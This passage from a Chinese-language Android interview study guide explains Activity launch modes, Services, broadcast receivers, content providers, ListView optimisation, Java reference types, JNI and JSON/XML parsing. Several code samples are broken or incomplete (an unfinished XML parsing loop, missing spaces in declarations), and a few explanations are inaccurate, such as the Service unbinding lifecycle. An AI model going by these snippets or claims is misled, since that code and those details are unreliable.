SecondActivity extends Activity {\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n                super.onCreate(savedInstanceState);\n                setContentView(R.layout.second);\n                TextView textView = (TextView) findViewById(R.id.tv);\n        textView.setText(this.toString());\n        Button button = (Button) findViewById(R.id.button);\n        button.setOnClickListener(new View.OnClickListener() {\n                         @Override\n                         public void onClick(View v) {\n                                 Intent intent = new Intent(SecondActivity.this, FirstActivity.class);\n                             startActivity(intent);                                \n                         }\n         });\n         }\n }\n```\n\n然后将之前的FirstActivity跳转代码改为：\n```java\nIntent intent = new Intent(FirstActivity.this, SecondActivity.class);  \nstartActivity(intent);  \n```\n\n这时候，FirstActivity会跳转到SecondActivity，SecondActivity又会跳转到FirstActivity。演示结果如下：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210036ua7abect52cq2jp4.png.thumb.jpg)\n\n我们看到，两个FirstActivity的序列号是不同的，证明从SecondActivity跳转到FirstActivity时生成了新的FirstActivity实例。原理图如下：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210037gu8wouo3sp8twp2n.png.thumb.jpg)\n\n我们看到，当从SecondActivity跳转到FirstActivity时，系统发现存在有FirstActivity实例,但不是位于栈顶，于是重新生成一个实例。\n\n这就是singleTop启动模式，如果发现有对应的Activity实例正位于栈顶，则重复利用，不再生成新的实例。\n\n#### 8.3 singleTask\n\n在上面的基础上我们修改FirstActivity的属性android:launchMode=\"singleTask\"。演示的结果如下：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210241qtiotcrjsb7k88rr.png.thumb.jpg)\n\n我们注意到，在上面的过程中，FirstActivity的序列号是不变的，SecondActivity的序列号却不是唯一的，说明从SecondActivity跳转到FirstActivity时，没有生成新的实例，但是从FirstActivity跳转到SecondActivity时生成了新的实例。singleTask模式的原理图如下图所示：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210317f2od966cete6woi4.png.thumb.jpg)\n\n在图中的下半部分是SecondActivity跳转到FirstActivity后的栈结构变化的结果，我们注意到，SecondActivity消失了，没错，在这个跳转过程中系统发现有存在的FirstActivity实例，于是不再生成新的实例，而是将FirstActivity之上的Activity实例统统出栈，将FirstActivity变为栈顶对象，显示到幕前。也许朋友们有疑问，如果将SecondActivity也设置为singleTask模式，那么SecondActivity实例是不是可以唯一呢？在我们这个示例中是不可能的，因为每次从SecondActivity跳转到FirstActivity时，SecondActivity实例都被迫出栈，下次等FirstActivity跳转到SecondActivity时，找不到存在的SecondActivity实例，于是必须生成新的实例。但是如果我们有ThirdActivity，让SecondActivity和ThirdActivity互相跳转，那么SecondActivity实例就可以保证唯一。\n\n这就是singleTask模式，如果发现有对应的Activity实例，则使此Activity实例之上的其他Activity实例统统出栈，使此Activity实例成为栈顶对象，显示到幕前。\n\n#### 8.4 singleInstance\n\n这种启动模式比较特殊，因为它会启用一个新的栈结构，将Activity放置于这个新的栈结构中，并保证不再有其他Activity实例进入。\n\n我们修改FirstActivity的launchMode=\"standard\"，SecondActivity的launchMode=\"singleInstance\"，由于涉及到了多个栈结构，我们需要在每个Activity中显示当前栈结构的id，所以，我们为每个Activity添加如下代码：\n\n```java\nTextView taskIdView = (TextView) findViewById(R.id.taskIdView);  \ntaskIdView.setText(\"current task id: \" + this.getTaskId());\n```\n\n然后我们再演示一下这个流程：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210717mdrl2lljpgdlgpg0.png.thumb.jpg)\n\n我们发现这两个Activity实例分别被放置在不同的栈结构中，关于singleInstance的原理图如下：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210718id29znpnjdi6uznc.png.thumb.jpg)\n\n我们看到从FirstActivity跳转到SecondActivity时，重新启用了一个新的栈结构，来放置SecondActivity实例，然后按下后退键，再次回到原始栈结构；图中下半部分显示的在SecondActivity中再次跳转到FirstActivity，这个时候系统会在原始栈结构中生成一个FirstActivity实例，然后回退两次，注意，并没有退出，而是回到了SecondActivity，为什么呢？是因为从SecondActivity跳转到FirstActivity的时候，我们的起点变成了SecondActivity实例所在的栈结构，这样一来，我们需要“回归”到这个栈结构。\n\n如果我们修改FirstActivity的launchMode值为singleTop、singleTask、singleInstance中的任意一个，流程将会如图所示：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/210814m8bbhviw22bvvip2.png.thumb.jpg)\n\nsingleInstance启动模式可能是最复杂的一种模式，为了帮助大家理解，我举一个例子，假如我们有一个share应用，其中的ShareActivity是入口Activity，也是可供其他应用调用的Activity，我们把这个Activity的启动模式设置为singleInstance，然后在其他应用中调用。我们编辑ShareActivity的配置：\n\n```xml\n<activity\n    android:name=\".ShareActivity\"\n    android:launchMode=\"singleInstance\" >\n    <intent-filter>\n        <action android:name=\"android.intent.action.MAIN\" />\n        <category android:name=\"android.intent.category.LAUNCHER\" />\n    </intent-filter>\n    <intent-filter>\n        <action android:name=\"android.intent.action.SINGLE_INSTANCE_SHARE\" />\n        <category android:name=\"android.intent.category.DEFAULT\" />\n    </intent-filter>\n</activity>\n```\n然后我们在其他应用中这样启动该Activity：\n\n```java\nIntent intent = new Intent(\"android.intent.action.SINGLE_INSTANCE_SHARE\");  \nstartActivity(intent);  \n```\n\n当我们打开ShareActivity后再按后退键回到原来界面时，ShareActivity做为一个独立的个体存在，如果这时我们打开share应用，无需创建新的ShareActivity实例即可看到结果，因为系统会自动查找，存在则直接利用。大家可以在ShareActivity中打印一下taskId，看看效果。关于这个过程，原理图如下：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/211004zlzlj3cf39c53llr.png.thumb.jpg)\n\n## Service\n\n### 1.Service是否在main thread中执行, service里面是否能执行耗时的操作?\n\n默认情况,如果没有显示的指servic所运行的进程, Service和activity是运行在当前app所在进程的main thread(UI主线程)里面。\n\nservice里面不能执行耗时的操作(网络请求，拷贝数据库，大文件 )。\n\n特殊情况 ,可以在清单文件配置 service 执行所在的进程，让service在另外的进程中执行。\n\n```xml\n<service\n    android:name=\"com.baidu.location.f\"\n    android:enabled=\"true\"\n    android:process=\":remote\" >\n</service>\n```\n\n### 2.Activity怎么和Service绑定，怎么在Activity中启动自己对应的Service？\n\nActivity通过bindService(Intent service, ServiceConnection conn,int flags)跟Service进行绑定，当绑定成功的时候Service会将代理对象通过回调的形式传给conn，这样我们就拿到了Service提供的服务代理对象。\n\n在Activity中可以通过startService和bindService方法启动Service。一般情况下如果想获取Service的服务对象那么肯定需要通过bindService()方法，比如音乐播放器，第三方支付等。如果仅仅只是为了开启一个后台任务那么可以使用startService()方法。\n\n### 3.请描述一下Service的生命周期\n\nservice有绑定模式和非绑定模式，以及这两种模式的混合使用方式。不同的使用方法生命周期方法也不同。\n\n非绑定模式：当第一次调用startService的时候执行的方法依次为onCreate()、onStartCommand()，当Service关闭的时候调用onDestory方法。\n\n绑定模式：第一次bindService（）的时候，执行的方法为onCreate()、onBind(）解除绑定的时候会执行onUnbind()、onDestory()。\n\n上面的两种生命周期是在相对单纯的模式下的情形。我们在开发的过程中还必须注意Service实例只会有一个，也就是说如果当前要启动的Service已经存在了那么就不会再次创建该Service当然也不会调用onCreate（）方法。\n\n 一个Service可以被多个客户进行绑定，只有所有的绑定对象都执行了onBind（）方法后该Service才会销毁，不过如果有一个客户执行了onStart()方法，那么这个时候如果所有的bind客户都执行了unBind()该Service也不会销毁。\n\n Service的生命周期图如下所示，帮助大家记忆。\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/211309fvvjo1kwkpwq7wa1.png.thumb.jpg)\n\n### 4.什么是IntentService？有何优点？\n\n我们通常只会使用Service，可能IntentService对大部分同学来说都是第一次听说。那么看了下面的介绍相信你就不再陌生了。如果你还是不了解那么在面试的时候你就坦诚说没用过或者不了解等。并不是所有的问题都需要回答上来的。\n\n#### IntentService简介\n\nIntentService是Service的子类，比普通的Service增加了额外的功能。先看Service本身存在两个问题：\n\nservice不会专门启动一条单独的进程，Service与它所在应用位于同一个进程中；\n\nservice也不是专门一条新线程，因此不应该在Service中直接处理耗时的任务；\n\n#### IntentService特征\n\n会创建独立的worker线程来处理所有的Intent请求；\n\n会创建独立的worker线程来处理onHandleIntent()方法实现的代码，无需处理多线程问题；\n\n所有请求处理完成后，IntentService会自动停止，无需调用stopSelf()方法停止Service；\n\n为Service的onBind()提供默认实现，返回null；\n\n为Service的onStartCommand提供默认实现，将请求Intent添加到队列中；\n\n#### 使用IntentService\n\n本人写了一个IntentService的使用例子供参考。该例子中一个MainActivity一个MyIntentService，这两个类都是四大组件当然需要在清单文件中注册。这里只给出核心代码：\n\nMainActivity.java\n```java\npublic void click(View view){\n        Intent intent = new Intent(this, MyIntentService.class);\n        intent.putExtra(\"start\", \"MyIntentService\");\n        startService(intent);\n}\n\n       MyIntentService.javapublic class MyIntentService extends IntentService {\n        private String ex = \"\";\n        private Handler mHandler = new Handler() {\n                public void handleMessage(android.os.Message msg) {\n                        Toast.makeText(MyIntentService.this, \"-e \" + ex, Toast.LENGTH_LONG).show();\n                }\n        };\n        public MyIntentService(){\n                super(\"MyIntentService\");\n        }\n        @Override\n        public int onStartCommand(Intent intent, int flags, int startId) {\n                ex = intent.getStringExtra(\"start\");\n                return super.onStartCommand(intent, flags, startId);\n        }\n        @Override\n        protected void onHandleIntent(Intent intent) {\n                /\n                 * 模拟执行耗时任务\n                 * 该方法是在子线程中执行的，因此需要用到handler跟主线程进行通信\n                 */\n                try {\n                        Thread.sleep(1000);\n                } catch (InterruptedException e) {\n                        e.printStackTrace();\n                }\n                mHandler.sendEmptyMessage(0);\n                try {\n                        Thread.sleep(1000);\n                } catch (InterruptedException e) {\n                        e.printStackTrace();\n                }\n        }\n}\n```\n运行后效果如下：\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/211637jzeept0p0mdst2t0.png.thumb.jpg)\n\n### 5.说说Activity、Intent、Service是什么关系             \n\n他们都是Android开发中使用频率最高的类。其中Activity和Service都是Android四大组件之一。他俩都是Context类的子类ContextWrapper的子类，因此他俩可以算是兄弟关系吧。不过兄弟俩各有各自的本领，Activity负责用户界面的显示和交互，Service负责后台任务的处理。Activity和Service之间可以通过Intent传递数据，因此可以把Intent看作是通信使者。\n\n### 6.Service和Activity在同一个线程吗\n\n对于同一app来说默认情况下是在同一个线程中的，mainThread （UI Thread）。\n\n### 7.Service里面可以弹吐司么\n\n可以的。弹吐司有个条件就是得有一个Context上下文，而Service本身就是Context的子类，因此在Service里面弹吐司是完全可以的。比如我们在Service中完成下载任务后可以弹一个吐司通知用户。\n\n## BroadCastReceiver\n\n### 1.请描述一下BroadcastReceiver\n\nBroadCastReceiver是Android四大组件之一，主要用于接收系统或者app发送的广播事件。广播分两种：有序广播和无序广播。   \n\n内部通信实现机制：通过Android系统的Binder机制实现通信。\n\n无序广播：完全异步，逻辑上可以被任何广播接收者接收到。优点是效率较高。缺点是一个接收者不能将处理结果传递给下一个接收者，并无法终止广播intent的传播。       \n\n有序广播：按照被接收者的优先级顺序，在被接收者中依次传播。比如有三个广播接收者A，B，C，优先级是A > B> C。那这个消息先传给A，再传给B，最后传给C。每个接收者有权终止广播，比如B终止广播，C就无法接收到。此外A接收到广播后可以对结果对象进行操作，当广播传给B时，B可以从结果对象中取得A存入的数据。在通过Context.sendOrderedBroadcast(intent, receiverPermission,resultReceiver, scheduler, initialCode, initialData, initialExtras)时我们可以指定resultReceiver广播接收者，这个接收者我们可以认为是最终接收者，通常情况下如果比他优先级更高的接收者如果没有终止广播，那么他的onReceive会被执行两次，第一次是正常的按照优先级顺序执行，第二次是作为最终接收者接收。如果比他优先级高的接收者终止了广播，那么他依然能接收到广播。\n\n在我们的项目中经常使用广播接收者接收系统通知，比如开机启动、sd挂载、低电量、外播电话、锁屏等。\n\n如果我们做的是播放器，那么监听到用户锁屏后我们应该将我们的播放之暂停等。\n\n### 2.在manifest和代码中如何注册和使用BroadcastReceiver\n\n在清单文件中注册广播接收者称为静态注册，在代码中注册称为动态注册。静态注册的广播接收者只要app在系统中运行则一直可以接收到广播消息，动态注册的广播接收者当注册的Activity或者Service销毁了那么就接收不到广播了。 \n\n静态注册：在清单文件中进行如下配置  \n\n```xml\n<receiver android:name=\".BroadcastReceiver1\" >\n            <intent-filter>\n                <action android:name=\"android.intent.action.CALL\" >\n                </action>\n            </intent-filter>\n</receiver>\n```\n动态注册：在代码中进行如下注册\n\n```java\nreceiver = new BroadcastReceiver();  \nIntentFilter intentFilter = new IntentFilter();  \nintentFilter.addAction(CALL_ACTION);  \ncontext.registerReceiver(receiver, intentFilter);\n```\n\n### 3.BroadCastReceiver的生命周期             \n\na. 广播接收者的生命周期非常短暂的，在接收到广播的时候创建，onReceive()方法结束之后销毁；       \n\nb. 广播接收者中不要做一些耗时的工作，否则会弹出Application No Response错误对话框；       \n\nc. 最好也不要在广播接收者中创建子线程做耗时的工作，因为广播接收者被销毁后进程就成为了空进程，很容易被系统杀掉；       \n\nd. 耗时的较长的工作最好放在服务中完成；\n\n## ContentProvider\n\n### 1.请介绍下ContentProvider是如何实现数据共享的             \n\n在Android中如果想将自己应用的数据（一般多为数据库中的数据）提供给第三发应用，那么我们只能通过ContentProvider来实现了。\n\nContentProvider是应用程序之间共享数据的接口。使用的时候首先自定义一个类继承ContentProvider，然后覆写query、insert、update、delete等方法。因为其是四大组件之一因此必须在AndroidManifest文件中进行注册。\n\n```xml\n<provider\n   android:name=\"com.jackchan.contenProvider.provider.PersonContentProvider\"\n   android:authorities=\"com.itheima.person\"\n   android:exported=\"true\"/>\n```\n\n第三方可以通过ContentResolver来访问该Provider。\n\n### 2.请介绍下Android的数据存储方式\n\n- File存储       \n- SharedPreference存储       \n- ContentProvider存储       \n- SQLiteDataBase存储       \n- 网络存储\n\n### 3.为什么要用ContentProvider？它和sql的实现上有什么差别？\n\nContentProvider屏蔽了数据存储的细节,内部实现对用户完全透明,用户只需要关心操作数据的uri就可以了，ContentProvider可以实现不同app之间共享。    \n\nSql也有增删改查的方法，但是sql只能查询本应用下的数据库。而ContentProvider 还可以去增删改查本地文件. xml文件的读取等。\n\n### 4、说说ContentProvider、ContentResolver、ContentObserver之间的关系\n\n- ContentProvider 内容提供者，用于对外提供数据       \n- ContentResolver.notifyChange(uri)发出消息       \n- ContentResolver 内容解析者，用于获取内容提供者提供的数据       \n- ContentObserver 内容监听器，可以监听数据的改变状态       \n- ContentResolver.registerContentObserver()监听消息\n\n## Android中的布局\n\n### 1.Android中常用的布局都有哪些\n\n- FrameLayout       \n- RelativeLayout       \n- LinearLayout       \n- AbsoluteLayout       \n- TableLayout\n- GridLayout\n\n### 2.谈谈UI中， Padding和Margin有什么区别？\n\nandroid:padding和android:layout_margin的区别，其实概念很简单，padding是站在父view的角度描述问题，它规定它里面的内容必须与这个父view边界的距离。margin则是站在自己的角度描述问题，规定自己和其他（上下左右）的view之间的距离，如果同一级只有一个view，那么它的效果基本上就和padding一样了。\n\n## ListView\n\n### 1.ListView如何提高其效率？       \n\n- 复用ConvertView       \n- 自定义静态类ViewHolder      \n- 使用分页加载       \n- 使用WeakRefrence引用ImageView对象\n\n###  2.当ListView数据集改变后，如何更新ListView\n\n使用该ListView的adapter的notifyDataSetChanged()方法。该方法会使ListView重新绘制。\n\n### 3.ListView如何实现分页加载\n\n设置ListView的滚动监听器：`setOnScrollListener(new OnScrollListener{….})`。在监听器中有两个方法： 滚动状态发生变化的方法(onScrollStateChanged)和listView被滚动时调用的方法(onScroll)      \n\n在滚动状态发生改变的方法中，有三种状态：       \n\n- 手指按下移动的状态：SCROLL_STATE_TOUCH_SCROLL: // 触摸滑动       \n- 惯性滚动（滑翔（flgin）状态）：SCROLL_STATE_FLING: // 滑翔       \n- 静止状态：SCROLL_STATE_IDLE: // 静止       \n\n对不同的状态进行处理：       \n\n分批加载数据，只关心静止状态：关心最后一个可见的条目，如果最后一个可见条目就是数据适配器（集合）里的最后一个，此时可加载更多的数据。在每次加载的时候，计算出滚动的数量，当滚动的数量大于等于总数量的时候，可以提示用户无更多数据了。\n\n### 4.ListView可以显示多种类型的条目吗\n\n这个当然可以的，ListView显示的每个条目都是通过baseAdapter的getView(int position, View convertView, ViewGroup parent)来展示的，理论上我们完全可以让每个条目都是不同类型的view，除此之外adapter还提供了getViewTypeCount()和getItemViewType(int position)两个方法。在getView方法中我们可以根据不同的viewtype加载不同的布局文件。\n\n### 5.ListView如何定位到指定位置\n\n可以通过ListView提供的`lv.setSelection(48);`方法。\n\n### 6.当在ScrollView中如何嵌入ListView             \n\n通常情况下我们不会在ScrollView中嵌套ListView，但是如果面试官非让我嵌套的话也是可以的。\n\n在ScrollView添加一个ListView会导致listview控件显示不全，通常只会显示一条，这是因为两个控件的滚动事件冲突导致。所以需要通过listview中的item数量去计算listview的显示高度，从而使其完整展示，如下提供一个方法供大家参考。\n\n```java\nlv = (ListView) findViewById(R.id.lv);\n        adapter = new MyAdapter();\n        lv.setAdapter(adapter);\n        setListViewHeightBasedOnChildren(lv);\npublic void setListViewHeightBasedOnChildren(ListView listView) {\n        ListAdapter listAdapter = listView.getAdapter();\n        if (listAdapter == null) {\n                return;\n        }\n        int totalHeight = 0;\n        for (int i = 0; i < listAdapter.getCount(); i++) {\n                View listItem = listAdapter.getView(i, null, listView);\n                listItem.measure(0, 0);\n                totalHeight += listItem.getMeasuredHeight();\n        }\n        ViewGroup.LayoutParams params = listView.getLayoutParams();\n        params.height = totalHeight + (listView.getDividerHeight() * (listAdapter.getCount() - 1));\n        params.height += 5;// if without this statement,the listview will be a little short\n        listView.setLayoutParams(params);\n}\n```\n### 7.ListView中如何优化图片\n\n图片的优化策略比较多。       \n\n#### 处理图片的方式：       \n\n如果ListView中自定义的Item中有涉及到大量图片的，一定要对图片进行细心的处理，因为图片占的内存是ListView项中最头疼的，处理图片的方法大致有以下几种：       \n\n- 不要直接拿路径就去循环BitmapFactory.decodeFile;使用Options保存图片大小、不要加载图片到内存去。       \n\n- 对图片一定要经过边界压缩尤其是比较大的图片，如果你的图片是后台服务器处理好的那就不需要了       \n\n- 在ListView中取图片时也不要直接拿个路径去取图片，而是以WeakReference（使用WeakReference代替强引用。比如可以使用WeakReference mContextRef）、SoftReference、WeakHashMap等的来存储图片信息。       \n\n- 在getView中做图片转换时，产生的中间变量一定及时释放\n\n#### 异步加载图片基本思想：      \n\n- 先从内存缓存中获取图片显示（内存缓冲）       \n- 获取不到的话从SD卡里获取（SD卡缓冲）      \n- 都获取不到的话从网络下载图片并保存到SD卡同时加入内存并显示（视情况看是否要显示）       \n\n原理：       \n\n优化一：先从内存中加载，没有则开启线程从SD卡或网络中获取，这里注意从SD卡获取图片是放在子线程里执行的，否则快速滑屏的话会不够流畅。      \n\n优化二：于此同时，在adapter里有个busy变量，表示listview是否处于滑动状态，如果是滑动状态则仅从内存中获取图片，没有的话无需再开启线程去外存或网络获取图片。       \n优化三：ImageLoader里的线程使用了线程池，从而避免了过多线程频繁创建和销毁，如果每次总是new一个线程去执行这是非常不可取的，好一点的用的AsyncTask类，其实内部也是用到了线程池。在从网络获取图片时，先是将其保存到sd卡，然后再加载到内存，这么做的好处是在加载到内存时可以做个压缩处理，以减少图片所占内存。\n\n### 8.ListView中图片错位的问题是如何产生的            \n\n图片错位问题的本质源于我们的listview使用了缓存convertView，假设一种场景，一个listview一屏显示九个item，那么在拉出第十个item的时候，事实上该item是重复使用了第一个item，也就是说在第一个item从网络中下载图片并最终要显示的时候，其实该item已经不在当前显示区域内了，此时显示的后果将可能在第十个item上输出图像，这就导致了图片错位的问题。所以解决之道在于可见则显示，不可见则不显示。\n\n### 9.Java中引用类型都有哪些\n\nJava中对象的引用分为四种级别，这四种级别由高到低依次为：强引用、软引用、弱引用和虚引用。\n\n**强引用（StrongReference）**\n\n这个就不多说，我们写代码天天在用的就是强引用。如果一个对象被被人拥有强引用，那么垃圾回收器绝不会回收它。当内存空间不足，Java虚拟机宁愿抛出OutOfMemoryError错误，使程序异常终止，也不会靠随意回收具有强引用的对象来解决内存不足问题。\n\nJava的对象是位于heap中的，heap中对象有强可及对象、软可及对象、弱可及对象、虚可及对象和不可到达对象。应用的强弱顺序是强、软、弱、和虚。对于对象是属于哪种可及的对象，由他的最强的引用决定。如下代码：\n\n```java\nString abc=new String(\"abc\");  //1       \nSoftReference<String> softRef=new SoftReference<String>(abc);  //2       \nWeakReference<String> weakRef = new WeakReference<String>(abc); //3       \nabc=null; //4       \nsoftRef.clear();//5\n```\n第一行在heap堆中创建内容为“abc”的对象，并建立abc到该对象的强引用,该对象是强可及的。       \n第二行和第三行分别建立对heap中对象的软引用和弱引用，此时heap中的abc对象已经有3个引用，显然此时abc对象仍是强可及的。       第四行之后heap中对象不再是强可及的，变成软可及的。       第五行执行之后变成弱可及的。\n\n**软引用（SoftReference）**\n\n如果一个对象只具有软引用，那么如果内存空间足够，垃圾回收器就不会回收它，如果内存空间不足了，就会回收这些对象的内存。只要垃圾回收器没有回收它，该对象就可以被程序使用。软引用可用来实现内存敏感的高速缓存。\n\n软引用可以和一个引用队列（ReferenceQueue）联合使用，如果软引用所引用的对象被垃圾回收，Java虚拟机就会把这个软引用加入到与之关联的引用队列中。软引用是主要用于内存敏感的高速缓存。在jvm报告内存不足之前会清除所有的软引用，这样以来gc就有可能收集软可及的对象，可能解决内存吃紧问题，避免内存溢出。什么时候会被收集         \n\n取决于gc的算法和gc运行时可用内存的大小。当gc决定要收集软引用时执行以下过程,以上面的softRef为例： \n\n- 首先将softRef的referent（abc）设置为null，不再引用heap中的new String(\"abc\")对象。       \n- 将heap中的newString(\"abc\")对象设置为可结束的(finalizable)。       \n- 当heap中的new String(\"abc\")对象的finalize()方法被运行而且该对象占用的内存被释放， softRef被添加到它的ReferenceQueue(如果有的话)中。            \n\n注意：对ReferenceQueue软引用和弱引用可以有可无，但是虚引用必须有。被 SoftReference 指到的对象，即使没有任何 Direct Reference，也不会被清除。一直要到 JVM 内存不足且没有Direct Reference 时才会清除，SoftReference 是用来设计 object-cache 之用的。如此一来 SoftReference 不但可以把对象 cache 起来，也不会造成内存不足的错误（OutOfMemoryError）。file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image002.jpg             \n\n**弱引用（WeakReference）**\n\n如果一个对象只具有弱引用，那该类就是可有可无的对象，因为只要该对象被gc扫描到了随时都会把它干掉。弱引用与软引用的区别在于：只具有弱引用的对象拥有更短暂的生命周期。在垃圾回收器线程扫描它所管辖的内存区域的过程中，一旦发现了只具有弱引用的对象，不管当前内存空间足够与否，都会回收它的内存。不过，由于垃圾回收器是一个优先级很低的线程，因此不一定会很快发现那些只具有弱引用的对象。弱引用可以和一个引用队列（ReferenceQueue）联合使用，如果弱引用所引用的对象被垃圾回收，Java虚拟机就会把这个弱引用加入到与之关联的引用队列中。\n\n**虚引用（PhantomReference）**\n\n\"虚引用\"顾名思义，就是形同虚设，与其他几种引用都不同，虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用，那么它就和没有任何引用一样，在任何时候都可能被垃圾回收。虚引用主要用来跟踪对象被垃圾回收的活动。             \n\n虚引用与软引用和弱引用的一个区别在于：虚引用必须和引用队列（ReferenceQueue）联合使用。当垃圾回收器准备回收一个对象时，如果发现它还有虚引用，就会在回收对象的内存之前，把这个虚引用加入到与之关联的引用队列中。程序可以通过判断引用队列中是否已经加入了虚引用，来了解被引用的对象是否将要被垃圾回收。程序如果发现某个虚引用已经被加入到引用队列，那么就可以在所引用的对象的内存被回收之前采取必要的行动。\n\n建立虚引用之后通过get方法返回结果始终为null,通过源代码你会发现,虚引用通向会把引用的对象写进referent,只是get方法返回结果为null。先看一下和gc交互的过程再说一下他的作用。      \n\n1.不把referent设置为null, 直接把heap中的newString(\"abc\")对象设置为可结束的(finalizable)。       \n\n2.与软引用和弱引用不同, 先把PhantomRefrence对象添加到它的ReferenceQueue中.然后在释放虚可及的对象。\n\n## JNI&NDK\n\n1.在Android中如何调用C语言\n\n当我们的Java需要调用C语言的时候可以通过JNI的方式，Java Native Interface。Android提供了对JNI的支持，因此我们在Android中可以使用JNI调用C语言。在Android开发目录的libs目录下添加xxx.so文件，不过xxx.so文件需要放在对应的CPU架构名目录下，比如armeabi，x86等。       \n\n在Java代码需要通过System.*loadLibrary*(libName);加载so文件。同时C语言中的方法在java中必须以native关键字来声明。普通Java方法调用这个native方法接口，虚拟机内部自动调用so文件中对应的方法。\n\n2.请介绍一下NDK\n\n1.NDK 是一系列工具的集合       \n\nNDK 提供了一系列的工具，帮助开发者快速开发C（或C++）的动态库，并能自动将so 和java 应用一起打包成apk。NDK 集成了交叉编译器，并提供了相应的mk 文件隔离CPU、平台、ABI 等差异，开发人员只需要简单修改mk 文件（指出“哪些文件需要编译”、“编译特性要求”等），就可以创建出so。             \n\n2.NDK 提供了一份稳定、功能有限的API 头文件声明       \nGoogle 明确声明该API 是稳定的，在后续所有版本中都稳定支持当前发布的API。从该版本的NDK 中看出，这些API支持的功能非常有限，包含有：C 标准库（libc）、标准数学库（libm）、压缩库（libz）、Log 库（liblog）。\n\n3、JNI调用常用的两个参数\nJNIEnv*env, jobject obj       \n\n第一个是指向虚拟机对象的指针，是一个二级指针。里面封装了很多方法和中间变量供我们使用。       \n\n第二个代表着调用该方法的Java对象的C语言表示。\n\n## Android中的网络访问       \n\n### 1、Android中如何访问网络\n\nAndroid提供了org.apache.http.HttpClientConnection和java.net.HttpURLConnection两个连接网络对象。使用哪个都行，具体要看企业领导的要求了。       除此之外一般我比较喜欢使用xUtils中的HttpUtils功能，该模块底层使用的就是org.apache.http.client.HttpClient，使用起来非常方便。       \n\n### 2、如何解析服务器传来的JSON文件\n\n在Android中内置了JSON的解析API，在org.json包中包含了如下几个类：JSONArray、JSONObject、JSONStringer、JSONTokener和一个异常类JSONException。             \n\n1、JSON解析步骤       \n\n1）读取网络文件数据并转为一个json字符串  \n\n```java   \nInputStreamin = conn.getInputStream();       \nStringjsonStr = DataUtil.Stream2String(in);//将流转换成字符串的工具类       \n```\n\n2）将字符串传入相应的JSON构造函数中  \n\n- 通过构造函数将json字符串转换成json对象       \n```java\nJSONObject  jsonObject = new JSONObject(jsonStr)；       \n```\n- 通过构造函数将json字符串转换成json数组：       \n\nJSONArray array = new JSONArray(jsonStr);       \n\n3）解析出JSON中的数据信息：       \n\n- 从json对象中获取你所需要的键所对应的值 \n```java\nJSONObject json=jsonObject.getJSONObject(\"weatherinfo\");       \nStringcity = json.getString(\"city\");       \nStringtemp = json.getString(\"temp\")       \n```\n\n- 遍历JSON数组，获取数组中每一个json对象，同时可以获取json对象中键对应的值       \n```java\nfor(int i = 0; i < array.length(); i++) {              \n    JSONObject obj = array.getJSONObject(i);              \n    Stringtitle=obj.getString(\"title\");              \n    Stringdescription=obj.getString(\"description\");       \n}\n```\n2、生成JSON对象和数组       \n\n1）生成JSON：       \n\n方法1、创建一个map，通过构造方法将map转换成json对象 \n\n```java\nMap<String,Object> map = new HashMap<String, Object>();       \nmap.put(\"name\",\"zhangsan\");       \nmap.put(\"age\",24);       \nJSONObjectjson = new JSONObject(map);       \n```\n方法2、创建一个json对象，通过put方法添加数据\n\n```java       \nJSONObjectjson=new JSONObject();       \njson.put(\"name\",\"zhangsan\");       \njson.put(\"age\",24);       \n```\n\n2）生成JSON数组：       \n\n创建一个list，通过构造方法将list转换成json对象  \n\n```java\nMap<String,Object> map1 = new HashMap<String, Object>();       \nmap1.put(\"name\",\"zhangsan\");       \nmap1.put(\"age\",24);       \nMap<String,Object> map2 = new HashMap<String, Object>();       \nmap2.put(\"name\",\"lisi\");       \nmap2.put(\"age\",25);       \nList<Map<String,Object>> list=new ArrayList<Map<String,Object>>();       \nlist.add(map1);       \nlist.add(map2);       \nJSONArrayarray=new JSONArray(list);       \nSystem.out.println(array.toString());\n```\n### 3、如何解析服务器传来的XML格式数据            \n\nAndroid为我们提供了原生的XML解析和生成支持。       \n\n1、XML解析              \n\n- 获取解析器: Xml.newPullParser()              \n- 设置输入流: setInput()              \n- 获取当前事件类型: getEventType()              \n- 解析下一个事件, 获取类型: next()              \n- 获取标签名: getName()              \n- 获取属性值: getAttributeValue()              \n- 获取下一个文本: nextText()              \n- 获取当前文本: getText()              \n\n5种事件类型: START_DOCUMENT, END_DOCUMENT, START_TAG,END_TAG, TEXT\n\n示例代码：\n```java\npublic List<Person>getPersons(InuptStream in){  \n       XmlPullParserparser=Xml.newPullParser();//获取解析器\n       parser.setInput(in,\"utf-8\");\n       for(inttype=){   //循环解析\n       }      \n}\n```\n\n2、XML生成  \n\n- 获取生成工具: Xml.newSerializer()              \n- 设置输出流: setOutput()              \n- 开始文档: startDocument()              \n- 结束文档: endDocument()              \n- 开始标签: startTag()              \n- 结束标签: endTag()              \n- 属性: attribute()              \n- 文本: text()   \n\n示例代码：\n```java\nXmlSerializer serial=Xml.newSerializer();//获取xml序列化工具\nserial.setOuput(put,\"utf-8\");\nserial.startDocument(\"utf-8\",true);\nserial.startTag(null,\"persons\");\nfor(Person p:persons){\n       serial.startTag(null,\"persons\");      \n       serial.attribute(null,\"id\",p.getId().toString());\n       serial.startTag(null,\"name\");   \n       serial.attribute(null,\"name\",p.getName().toString());\n       serial.endTag(null,\"name\");\n       serial.startTag(null,\"age\");      \n       serial.attribute(null,\"age\",p.getAge().toString());\n       serial.endTag(null,\"age\");\n       serial.endTag(null,\"persons\");      \n}\n```\n\n### 4、如何从网络上加载一个图片显示到界面\n\n可以通过BitmapFactory.decodeStream(inputStream);方法将图片转换为bitmap，然后通过imageView.setImageBitmap(bitmap);将该图片设置到ImageView中。这是原生的方法，还可以使用第三方开源的工具来实现，比如使用SmartImageView作为ImageView控件，然后直接设置一个url地址即可。也可以使用xUtils中的BitmapUtils工具。\n\n### 